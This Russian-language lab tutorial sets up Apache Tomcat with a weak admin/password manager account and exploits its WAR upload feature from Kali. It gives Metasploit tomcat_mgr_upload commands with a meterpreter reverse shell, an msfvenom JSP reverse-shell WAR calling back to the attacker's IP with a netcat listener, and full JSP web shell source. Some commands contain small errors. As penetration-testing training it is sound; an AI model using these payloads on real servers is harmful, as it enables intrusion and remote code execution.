При тестировании на проникновение крайне важно обращать внимание на наличие Apache Tomcat — одного из самых популярных веб-серверов. Изначально Apache Software Foundation разработала Tomcat как платформу для демонстрации технологий Java Servlet и JavaServer Pages (JSP), которые служат основой для Java веб-приложений. Со временем, Tomcat расширил свои возможности, чтобы поддерживать дополнительные Java веб-технологии.
Кроме того, одной из заметных особенностей Tomcat является поддержка развертывания веб-приложений с помощью файлов WAR (Web Application Archive). Эти файлы содержат в себе все компоненты веб-приложения — код, страницы и другие файлы, что значительно упрощает процесс развертывания. Tomcat позволяет пользователям загружать и запускать эти WAR-файлы, предоставляя возможность размещать свои приложения в интернете.
Помимо WAR-файлов, Tomcat также поддерживает развертывание JSP-страниц. JSP — это технология, позволяющая разработчикам создавать динамические веб-страницы с использованием Java. Tomcat способен выполнять эти JSP-страницы, что делает его универсальной платформой для хостинга самых разных веб-приложений.
По умолчанию Tomcat поддерживает использование WAR-файлов и JSP-страниц. Однако администраторы могут настраивать параметры для обеспечения безопасности и контроля над загрузками файлов, тем самым повышая общую защищённость сервера.
Оглавление
Настройка лаборатории
Установка
Конфигурация
Enumeration
Эксплуатация с использованием Metasploit Framework
Ручная эксплуатация (Reverse shell)
Ручная эксплуатация (Web shell)
Заключение
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Настройка лаборатории
В этой статье мы настроим сервер Tomcat на машине с Ubuntu и проэксплуатируем уязвимость загрузки файлов. Используемые машины:
Целевая машина: Ubuntu (192.168.1.5)
Машина атакующего: Kali Linux (192.168.1.7)
Установка
Apache Tomcat требует установленного Java, поэтому на сервере вам нужно установить Java JDK. Для установки используйте следующую команду:
apt install openjdk-11-jdk

Добавьте нового пользователя с именем tomcat с помощью следующей команды:
useradd -m -U -d /opt/tomcat -s /bin/false tomcat

Скачайте файл Tomcat в формате tar.gz с официального сайта.

Скачайте последнюю версию с сайта на машину с Ubuntu и распакуйте загруженные файлы.
wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.0.20/bin/apache-tomcat-10.0.20.tar.gz
tar -xvf apache-tomcat-10.1.20.tar.gz

Переместите извлечённую папку в директорию /opt/tomcat, дайте права владельца пользователю tomcat и установите права на выполнение для файлов.
mv apache-tomcat-10.1.20/* /opt/tomcat
chown -R tomcat: /opt/tomcat
sh -c 'chmod +x /opt/tomcat/bin/*.sh '

Создайте файл tomcat.service в директории /etc/systemd/system/ и добавьте в него следующее содержимое:
[Unit]
Description=Apache Tomcat
After=
network.target
[Service]
Type=forking
User=tomcat
Group=tomcat
Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
Environment=CATALINA_PID=/opt/tomcat/
tomcat.pid
Environment=CATALINA_HOME=/opt/tomcat
Environment=CATALINA_BASE=/opt/tomcat
Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC"
ExecStart=/opt/tomcat/bin/
startup.sh
ExecStop=/opt/tomcat/bin/
shutdown.sh
ExecReload=/bin/kill $MAINPID
RemainAfterExit=yes
[Install]
WantedBy=
multi-user.target

Перезагрузите демон systemd, чтобы применить изменения, с помощью следующей команды
systemctl daemon-reload
Также включите сервис tomcat, чтобы он запускался автоматически при перезагрузке системы
systemctl enable --now tomcat
Проверьте статус сервера tomcat:
systemctl status tomcat

Конфигурация
После завершения установки необходимо произвести настройку сервера Tomcat.
Чтобы создать пароль администратора, внесите изменения в следующий файл:
nano /opt/tomcat/conf/tomcat-users.xml
Добавьте следующий код перед строкой </tomcat-users>:
<role rolename="admin-gui"/>
<role rolename="manager-gui"/>
<user username="admin" password="password" roles="admin-gui,manager-gui"/>

Чтобы включить удалённый доступ к Tomcat Manager, внесите следующие изменения в файл context.xml, который находится в директории manager и host-manager.
nano /opt/tomcat/webapps/manager/META-INF/context.xml
nano /opt/tomcat/webapps/host-manager/META-INF/context.xml
Удалите следующую строку из обоих файлов, как показано ниже:

После внесения изменений перезапустите сервис tomcat в Ubuntu.
systemctl restart tomcat

Убедитесь, что сервер Tomcat запущен и работает на машине с Ubuntu на порту 8080.

Enumeration
Используя Kali Linux в качестве машины атакующего, Enumeration можно выполнить с помощью nmap.
nmap -p 8080 -sV 192.168.1.5

Эксплуатация с использованием Metasploit Framework
Попробуем эксплойт из Metasploit. В данном случае используется exploit/multi/http/tomcat_mgr_upload.
Внутри Metasploit введите следующие команды для запуска эксплойта:
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.5
set report 8080
set httpusername admin
set httppassword password
show targets
set target 2
set payload linux/x86/meterpreter_reverse_tcp
exploit

Видим, что нам удалось получить реверс-шелл, и мы можем выполнять команды через оболочку meterpreter.
Эксплуатация вручную (Reverse Shell)
Кроме того, злоумышленники могут выполнить вышеописанную процедуру эксплуатации вручную. Для этого им сначала нужно создать файл .war с помощью msfvenom.
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war

Далее, после создания файла shell.war, злоумышленники должны загрузить его в приложение Tomcat Manager.
Для доступа к Manager App пользователю необходимо пройти базовую аутентификацию. Обычно чтобы получить доступ к приложению Tomcat manager, в качестве имени пользователя используется admin, а пароль — password.

После входа в систему они могут загрузить ранее созданный файл shell.war с помощью функции развертывания WAR-файлов.

После загрузки файла его можно увидеть в разделе загруженных файлов.

Перед выполнением загруженного файла запустите netcat-листенер на 1234 порту:
rlwrap nc -lvnp 1234
Затем нажмите на /shell, чтобы запустить файл и получить обратную оболочку.

Reverse shell будет получен на порту 1234.

Эксплуатация вручную Web Shell
Для получения веб-оболочки злоумышленники могут использовать .war-файл, который содержит .jsp-файлы. После загрузки .war-файла на сервер появляется доступ к webshell.
Чтобы создать .war-файл, содержащий .jsp-файлы, пользователи должны установить Java на Kali Linux.
apt install openjdk-11-jdk

Теперь создайте директорию webshell, в которую мы поместим файл index.jsp.
mkdir webshell
cd webshell
nano index.jsp

Скопируйте следующий код в файл index.jsp для веб-шелла.
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="
java.io
.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>

После создания файла index.jsp можно создать пакет, преобразовав директорию в файл .war.
jar -cvf ../webshell.war *

После создания файла webshell.war загрузите его с помощью функции деплоя.

Страницу index.jsp можно открыть в загруженной директории webshell, и таким образом получить вебшелл.

Альтернативный способ выполнить вышеописанную ручную эксплуатацию — скачать файл cmd.jsp и создать архив webshell.war с помощью zip.
Файл webshell jsp можно скачать здесь!

После того как файл cmd.jsp будет скачан, файл revshell.war можно создать с помощью следующей команды
zip -r revshell.war cmd.jsp

Снова повторим ту же процедуру, что обсуждалась ранее. Загрузим файл revshell.war через функцию развертывания. Веб-оболочка доступна после перехода по адресу

Заключение
По сути, Apache Tomcat по-прежнему остается предпочтительным выбором для развертывания Java-веб-приложений, предлагая сочетание универсальности и безопасности, которое отвечает разнообразным требованиям как разработчиков, так и администраторов. Тем не менее, из-за неправильных настроек злоумышленники могут злоупотреблять сервером и выполнять нежелательные действия, такие как удаленное выполнение кода.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер